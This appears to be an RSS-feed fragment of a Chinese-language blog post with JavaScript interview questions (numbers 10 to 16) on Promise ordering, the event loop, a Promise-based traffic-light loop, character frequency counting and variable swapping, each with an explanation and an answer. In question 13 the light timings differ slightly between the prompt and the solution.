<h2 id="10-%E4%B8%8B%E9%9D%A2%E7%9A%84%E4%BB%A3%E7%A0%81%E8%BE%93%E5%87%BA%E4%BB%80%E4%B9%88%EF%BC%9F">10. &#x4E0B;&#x9762;&#x7684;&#x4EE3;&#x7801;&#x8F93;&#x51FA;&#x4EC0;&#x4E48;&#xFF1F;</h2>
<pre><code class="language-javascript">const promise = new Promise((resolve, reject) =&gt; {
    console.log(1);
    resolve();
    console.log(2);
})

promise.then(() =&gt; {
    console.log(3);
})

console.log(4);

</code></pre>
<h3 id="%E8%A7%A3%E6%9E%90">&#x89E3;&#x6790;</h3>
<p>&#x9996;&#x5148; Promise &#x65B0;&#x5EFA;&#x540E;&#x7ACB;&#x5373;&#x6267;&#x884C;&#xFF0C;&#x6240;&#x4EE5;&#x4F1A;&#x5148;&#x8F93;&#x51FA; 1&#xFF0C;2&#xFF0C;&#x800C; <code>Promise.then()</code> &#x5185;&#x90E8;&#x7684;&#x4EE3;&#x7801;&#x5728; &#x5F53;&#x6B21; &#x4E8B;&#x4EF6;&#x5FAA;&#x73AF;&#x7684; &#x7ED3;&#x5C3E; &#x7ACB;&#x523B;&#x6267;&#x884C; &#xFF0C;&#x6240;&#x4EE5;&#x4F1A;&#x7EE7;&#x7EED;&#x8F93;&#x51FA;4&#xFF0C;&#x6700;&#x540E;&#x8F93;&#x51FA;3&#x3002;</p>
<h3 id="%E7%AD%94%E6%A1%88">&#x7B54;&#x6848;</h3>
<pre><code>1
2
4
3
</code></pre>
<h2 id="11-%E4%B8%8B%E9%9D%A2%E7%9A%84%E4%BB%A3%E7%A0%81%E8%BE%93%E5%87%BA%E4%BB%80%E4%B9%88%EF%BC%9F">11. &#x4E0B;&#x9762;&#x7684;&#x4EE3;&#x7801;&#x8F93;&#x51FA;&#x4EC0;&#x4E48;&#xFF1F;</h2>
<pre><code class="language-javascript">const promise = new Promise((resolve, reject) =&gt; {
    resolve(&apos;success1&apos;);
    reject(&apos;error&apos;);
    resolve(&apos;success2&apos;);
});

promise.then((res) =&gt; {
    console.log(&apos;then:&apos;, res);
}).catch((err) =&gt; {
    console.log(&apos;catch:&apos;, err);
})
</code></pre>
<h3 id="%E8%A7%A3%E6%9E%90">&#x89E3;&#x6790;</h3>
<p><code>resolve &#x51FD;&#x6570;</code>&#x5C06; Promise &#x5BF9;&#x8C61;&#x7684;&#x72B6;&#x6001;&#x4ECE;<code>&#x201C;&#x672A;&#x5B8C;&#x6210;&#x201D;&#x53D8;&#x4E3A;&#x201C;&#x6210;&#x529F;&#x201D;</code>&#xFF08;&#x5373;&#x4ECE; <code>pending &#x53D8;&#x4E3A; resolved</code>&#xFF09;&#xFF0C;&#x5728;&#x5F02;&#x6B65;&#x64CD;&#x4F5C;&#x6210;&#x529F;&#x65F6;&#x8C03;&#x7528;&#xFF0C;&#x5E76;&#x5C06;&#x5F02;&#x6B65;&#x64CD;&#x4F5C;&#x7684;&#x7ED3;&#x679C;&#xFF0C;&#x4F5C;&#x4E3A;&#x53C2;&#x6570;&#x4F20;&#x9012;&#x51FA;&#x53BB;&#xFF1B;</p>
<p><code>reject &#x51FD;&#x6570;</code>&#x5C06; Promise &#x5BF9;&#x8C61;&#x7684;&#x72B6;&#x6001;&#x4ECE;<code>&#x201C;&#x672A;&#x5B8C;&#x6210;&#x201D;&#x53D8;&#x4E3A;&#x201C;&#x5931;&#x8D25;&#x201D;</code>&#xFF08;&#x5373;&#x4ECE; <code>pending &#x53D8;&#x4E3A; rejected</code>&#xFF09;&#xFF0C;&#x5728;&#x5F02;&#x6B65;&#x64CD;&#x4F5C;&#x5931;&#x8D25;&#x65F6;&#x8C03;&#x7528;&#xFF0C;&#x5E76;&#x5C06;&#x5F02;&#x6B65;&#x64CD;&#x4F5C;&#x62A5;&#x51FA;&#x7684;&#x9519;&#x8BEF;&#xFF0C;&#x4F5C;&#x4E3A;&#x53C2;&#x6570;&#x4F20;&#x9012;&#x51FA;&#x53BB;&#x3002;</p>
<p>&#x800C;&#x4E00;&#x65E6;&#x72B6;&#x6001;&#x6539;&#x53D8;&#xFF0C;&#x5C31;&#x4E0D;&#x4F1A;&#x518D;&#x53D8;&#x3002; &#x6240;&#x4EE5; &#x4EE3;&#x7801;&#x4E2D;&#x7684;<code>reject(&apos;error&apos;);</code> &#x4E0D;&#x4F1A;&#x6709;&#x4F5C;&#x7528;&#x3002;</p>
<p>Promise &#x53EA;&#x80FD; resolve &#x4E00;&#x6B21;&#xFF0C;&#x5269;&#x4E0B;&#x7684;&#x8C03;&#x7528;&#x90FD;&#x4F1A;&#x88AB;&#x5FFD;&#x7565;&#x3002; &#x6240;&#x4EE5; &#x7B2C;&#x4E8C;&#x6B21;&#x7684; <code>resolve(&apos;success2&apos;);</code> &#x4E5F;&#x4E0D;&#x4F1A;&#x6709;&#x4F5C;&#x7528;&#x3002;</p>
<h3 id="%E7%AD%94%E6%A1%88">&#x7B54;&#x6848;</h3>
<pre><code>then: success1
</code></pre>
<h2 id="12-%E4%B8%8B%E9%9D%A2%E4%BB%A3%E7%A0%81%E8%BE%93%E5%87%BA%E4%BB%80%E4%B9%88%EF%BC%9F">12. &#x4E0B;&#x9762;&#x4EE3;&#x7801;&#x8F93;&#x51FA;&#x4EC0;&#x4E48;&#xFF1F;</h2>
<pre><code class="language-javascript">Promise.resolve(1)
  .then(2)
  .then(Promise.resolve(3))
  .then(console.log)

</code></pre>
<h3 id="%E8%A7%A3%E6%9E%90">&#x89E3;&#x6790;</h3>
<p><code>Promise.resolve</code> &#x65B9;&#x6CD5;&#x7684;&#x53C2;&#x6570;&#x5982;&#x679C;&#x662F;&#x4E00;&#x4E2A;&#x539F;&#x59CB;&#x503C;&#xFF0C;&#x6216;&#x8005;&#x662F;&#x4E00;&#x4E2A;&#x4E0D;&#x5177;&#x6709; <code>then</code> &#x65B9;&#x6CD5;&#x7684;&#x5BF9;&#x8C61;&#xFF0C;&#x5219; <code>Promise.resolve</code> &#x65B9;&#x6CD5;&#x8FD4;&#x56DE;&#x4E00;&#x4E2A;&#x65B0;&#x7684; <code>Promise</code> &#x5BF9;&#x8C61;&#xFF0C;&#x72B6;&#x6001;&#x4E3A;<code>resolved</code>&#xFF0C;<code>Promise.resolve</code> &#x65B9;&#x6CD5;&#x7684;&#x53C2;&#x6570;&#xFF0C;&#x4F1A;&#x540C;&#x65F6;&#x4F20;&#x7ED9;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x3002;</p>
<p><code>then</code> &#x65B9;&#x6CD5;&#x63A5;&#x53D7;&#x7684;&#x53C2;&#x6570;&#x662F;&#x51FD;&#x6570;&#xFF0C;&#x800C;&#x5982;&#x679C;&#x4F20;&#x9012;&#x7684;&#x5E76;&#x975E;&#x662F;&#x4E00;&#x4E2A;&#x51FD;&#x6570;&#xFF0C;&#x5B83;&#x5B9E;&#x9645;&#x4E0A;&#x4F1A;&#x5C06;&#x5176;&#x89E3;&#x91CA;&#x4E3A; <code>then(null)</code>&#xFF0C;&#x8FD9;&#x5C31;&#x4F1A;&#x5BFC;&#x81F4;&#x524D;&#x4E00;&#x4E2A; <code>Promise</code> &#x7684;&#x7ED3;&#x679C;&#x4F1A;&#x7A7F;&#x900F;&#x4E0B;&#x9762;&#x3002;</p>
<pre><code class="language-javascript">Promise.resolve(1)
  .then(null) // &#x7A7F;&#x900F;
  .then(null) // &#x7A7F;&#x900F;
  .then(console.log)
</code></pre>
<h3 id="%E7%AD%94%E6%A1%88">&#x7B54;&#x6848;</h3>
<pre><code>1
</code></pre>
<h2 id="13-%E5%AE%9E%E7%8E%B0%E9%9C%80%E6%B1%82">13. &#x5B9E;&#x73B0;&#x9700;&#x6C42;</h2>
<p>&#x7EA2;&#x706F;&#x4E09;&#x79D2;&#x4EAE;&#x4E00;&#x6B21;&#xFF0C;&#x7EFF;&#x706F;&#x4E00;&#x79D2;&#x4EAE;&#x4E00;&#x6B21;&#xFF0C;&#x9EC4;&#x706F;2&#x79D2;&#x4EAE;&#x4E00;&#x6B21;&#xFF1B;&#x5982;&#x4F55;&#x8BA9;&#x4E09;&#x4E2A;&#x706F;&#x4E0D;&#x65AD;&#x4EA4;&#x66FF;&#x91CD;&#x590D;&#x4EAE;&#x706F;&#xFF1F;&#xFF08;&#x7528;Promse&#x5B9E;&#x73B0;&#xFF09;&#x4E09;&#x4E2A;&#x4EAE;&#x706F;&#x51FD;&#x6570;&#x5DF2;&#x7ECF;&#x5B58;&#x5728;&#xFF1A;</p>
<pre><code class="language-javascript">function red() {
    console.log(&apos;red&apos;);
}
function green() {
    console.log(&apos;green&apos;);
}
function yellow() {
    console.log(&apos;yellow&apos;);
}
</code></pre>
<h3 id="%E8%A7%A3%E6%9E%90">&#x89E3;&#x6790;</h3>
<p>&#x7EA2;&#x706F;&#x4E09;&#x79D2;&#x4EAE;&#x4E00;&#x6B21;&#xFF0C;&#x7EFF;&#x706F;&#x4E00;&#x79D2;&#x4EAE;&#x4E00;&#x6B21;&#xFF0C;&#x9EC4;&#x706F;2&#x79D2;&#x4EAE;&#x4E00;&#x6B21;&#xFF0C;&#x610F;&#x601D;&#x5C31;&#x662F;3&#x79D2;&#xFF0C;&#x6267;&#x884C;&#x4E00;&#x6B21; red &#x51FD;&#x6570;&#xFF0C;2&#x79D2;&#x6267;&#x884C;&#x4E00;&#x6B21; green &#x51FD;&#x6570;&#xFF0C;1&#x79D2;&#x6267;&#x884C;&#x4E00;&#x6B21; yellow &#x51FD;&#x6570;&#xFF0C;&#x4E0D;&#x65AD;&#x4EA4;&#x66FF;&#x91CD;&#x590D;&#x4EAE;&#x706F;&#xFF0C;&#x610F;&#x601D;&#x5C31;&#x662F;&#x6309;&#x7167;&#x8FD9;&#x4E2A;&#x987A;&#x5E8F;&#x4E00;&#x76F4;&#x6267;&#x884C;&#x8FD9;3&#x4E2A;&#x51FD;&#x6570;&#xFF0C;&#x8FD9;&#x6B65;&#x53EF;&#x4EE5;&#x5C31;&#x5229;&#x7528;&#x9012;&#x5F52;&#x6765;&#x5B9E;&#x73B0;&#x3002;</p>
<h3 id="%E7%AD%94%E6%A1%88">&#x7B54;&#x6848;</h3>
<pre><code class="language-javascript">function red() {
    console.log(&apos;red&apos;);
}
function green() {
    console.log(&apos;green&apos;);
}
function yellow() {
    console.log(&apos;yellow&apos;);
}

var light = function (timmer, cb) {
    return new Promise(function (resolve, reject) {
        setTimeout(function () {
            cb();
            resolve();
        }, timmer);
    });
};

var step = function () {
    Promise.resolve().then(function () {
        return light(3000, red);
    }).then(function () {
        return light(2000, green);
    }).then(function () {
        return light(1000, yellow);
    }).then(function () {
        step();
    });
}

step();
</code></pre>
<h2 id="14-%E4%BB%A5%E4%B8%8B%E4%BB%A3%E7%A0%81%E6%9C%80%E5%90%8E%E8%BE%93%E5%87%BA%E4%BB%80%E4%B9%88%EF%BC%9F">14. &#x4EE5;&#x4E0B;&#x4EE3;&#x7801;&#x6700;&#x540E;&#x8F93;&#x51FA;&#x4EC0;&#x4E48;&#xFF1F;</h2>
<pre><code class="language-javascript">const first = () =&gt; (new Promise((resolve, reject) =&gt; {
    console.log(3);
    let p = new Promise((resolve, reject) =&gt; {
        console.log(7);
        setTimeout(() =&gt; {
            console.log(5);
            resolve(6);
        }, 0)
        resolve(1);
    });
    resolve(2);
    p.then((arg) =&gt; {
        console.log(arg);
    });

}));

first().then((arg) =&gt; {
    console.log(arg);
});
console.log(4);
</code></pre>
<h3 id="%E8%A7%A3%E6%9E%90">&#x89E3;&#x6790;</h3>
<p>&#x8FD9;&#x9053;&#x9898;&#x5C31;&#x5176;&#x5B9E;&#x548C; <code>Promise</code> &#x7684;&#x5173;&#x7CFB;&#x4E0D;&#x592A;&#x5927;&#xFF0C;&#x4E3B;&#x8981;&#x662F;&#x9700;&#x8981;&#x7406;&#x89E3; JS&#x6267;&#x884C;&#x673A;&#x5236;&#xFF0C;&#x624D;&#x80FD;&#x5F88;&#x597D;&#x7684;&#x89E3;&#x51B3;&#x8FD9;&#x9053;&#x9898;&#x3002;</p>
<h4 id="%E7%AC%AC%E4%B8%80%E8%BD%AE%E4%BA%8B%E4%BB%B6%E5%BE%AA%E7%8E%AF">&#x7B2C;&#x4E00;&#x8F6E;&#x4E8B;&#x4EF6;&#x5FAA;&#x73AF;</h4>
<p>&#x5148;&#x6267;&#x884C;&#x5B8F;&#x4EFB;&#x52A1;&#xFF0C;&#x4E3B;script &#xFF0C;new Promise&#x7ACB;&#x5373;&#x6267;&#x884C;&#xFF0C;&#x8F93;&#x51FA;&#x3010;3&#x3011;&#xFF0C;<br>
&#x6267;&#x884C; p &#x8FD9;&#x4E2A;new Promise &#x64CD;&#x4F5C;&#xFF0C;&#x8F93;&#x51FA;&#x3010;7&#x3011;&#xFF0C;<br>
&#x53D1;&#x73B0; setTimeout&#xFF0C;&#x5C06;&#x56DE;&#x8C03;&#x653E;&#x5165;&#x4E0B;&#x4E00;&#x8F6E;&#x4EFB;&#x52A1;&#x961F;&#x5217;&#xFF08;Event Queue&#xFF09;&#xFF0C;p &#x7684; then&#xFF0C;&#x59D1;&#x4E14;&#x53EB;&#x505A; then1&#xFF0C;&#x653E;&#x5165;&#x5FAE;&#x4EFB;&#x52A1;&#x961F;&#x5217;&#xFF0C;&#x53D1;&#x73B0; first &#x7684; then&#xFF0C;&#x53EB; then2&#xFF0C;&#x653E;&#x5165;&#x5FAE;&#x4EFB;&#x52A1;&#x961F;&#x5217;&#x3002;&#x6267;&#x884C;<code>console.log(4)</code>&#xFF0C;&#x8F93;&#x51FA;&#x3010;4&#x3011;&#xFF0C;&#x5B8F;&#x4EFB;&#x52A1;&#x6267;&#x884C;&#x7ED3;&#x675F;&#x3002;<br>
&#x518D;&#x6267;&#x884C;&#x5FAE;&#x4EFB;&#x52A1;&#xFF0C;&#x6267;&#x884C; then1&#xFF0C;&#x8F93;&#x51FA;&#x3010;1&#x3011;&#xFF0C;<br>
&#x6267;&#x884C; then2&#xFF0C;&#x8F93;&#x51FA;&#x3010;2&#x3011;&#x3002;<br>
&#x5230;&#x6B64;&#x4E3A;&#x6B62;&#xFF0C;&#x7B2C;&#x4E00;&#x8F6E;&#x4E8B;&#x4EF6;&#x5FAA;&#x73AF;&#x7ED3;&#x675F;&#x3002;&#x5F00;&#x59CB;&#x6267;&#x884C;&#x7B2C;&#x4E8C;&#x8F6E;&#x3002;</p>
<h4 id="%E7%AC%AC%E4%BA%8C%E8%BD%AE%E4%BA%8B%E4%BB%B6%E5%BE%AA%E7%8E%AF">&#x7B2C;&#x4E8C;&#x8F6E;&#x4E8B;&#x4EF6;&#x5FAA;&#x73AF;</h4>
<p>&#x5148;&#x6267;&#x884C;&#x5B8F;&#x4EFB;&#x52A1;&#x91CC;&#x9762;&#x7684;&#xFF0C;&#x4E5F;&#x5C31;&#x662F; setTimeout &#x7684;&#x56DE;&#x8C03;&#xFF0C;&#x8F93;&#x51FA;&#x3010;5&#x3011;&#x3002;<br>
<code>resolve(6)</code> &#x4E0D;&#x4F1A;&#x751F;&#x6548;&#xFF0C;&#x56E0;&#x4E3A; p &#x8FD9;&#x4E2A; Promise &#x7684;&#x72B6;&#x6001;&#x4E00;&#x65E6;&#x6539;&#x53D8;&#x5C31;&#x4E0D;&#x4F1A;&#x5728;&#x6539;&#x53D8;&#x4E86;&#x3002;</p>
<h3 id="%E7%AD%94%E6%A1%88">&#x7B54;&#x6848;</h3>
<pre><code>3
7
4
1
2
5 
</code></pre>
<h2 id="15%E3%80%81js-%E7%BB%9F%E8%AE%A1%E4%B8%80%E4%B8%AA%E5%AD%97%E7%AC%A6%E4%B8%B2%E5%87%BA%E7%8E%B0%E9%A2%91%E7%8E%87%E6%9C%80%E9%AB%98%E7%9A%84%E5%AD%97%E6%AF%8D%E6%95%B0%E5%AD%97">15&#x3001;js &#x7EDF;&#x8BA1;&#x4E00;&#x4E2A;&#x5B57;&#x7B26;&#x4E32;&#x51FA;&#x73B0;&#x9891;&#x7387;&#x6700;&#x9AD8;&#x7684;&#x5B57;&#x6BCD;/&#x6570;&#x5B57;</h2>
<pre><code class="language-javascript">let str = &apos;asdfghjklaqwertyuiopiaia&apos;;
const strChar = str =&gt; {
    let string = [...str],
        maxValue = &apos;&apos;,
        obj = {},
        max = 0;
    string.forEach(value =&gt; {
        obj[value] = obj[value] == undefined ? 1 : obj[value] + 1
        if (obj[value] &gt; max) {
            max = obj[value]
            maxValue = value
        }
    })
return maxValue;
}
console.log(strChar(str))    // a
</code></pre>
<h2 id="16%E3%80%81%E4%B8%8D%E5%80%9F%E5%8A%A9%E4%B8%B4%E6%97%B6%E5%8F%98%E9%87%8F%EF%BC%8C%E8%BF%9B%E8%A1%8C%E4%B8%A4%E4%B8%AA%E6%95%B4%E6%95%B0%E7%9A%84%E4%BA%A4%E6%8D%A2">16&#x3001;&#x4E0D;&#x501F;&#x52A9;&#x4E34;&#x65F6;&#x53D8;&#x91CF;&#xFF0C;&#x8FDB;&#x884C;&#x4E24;&#x4E2A;&#x6574;&#x6570;&#x7684;&#x4EA4;&#x6362;</h2>
<pre><code class="language-javascript">let a = 2,
    b = 3;
    [b,a] = [a,b]
    console.log(a,b)   // 3 2
</code></pre>
]]></content:encoded></item></channel></rss>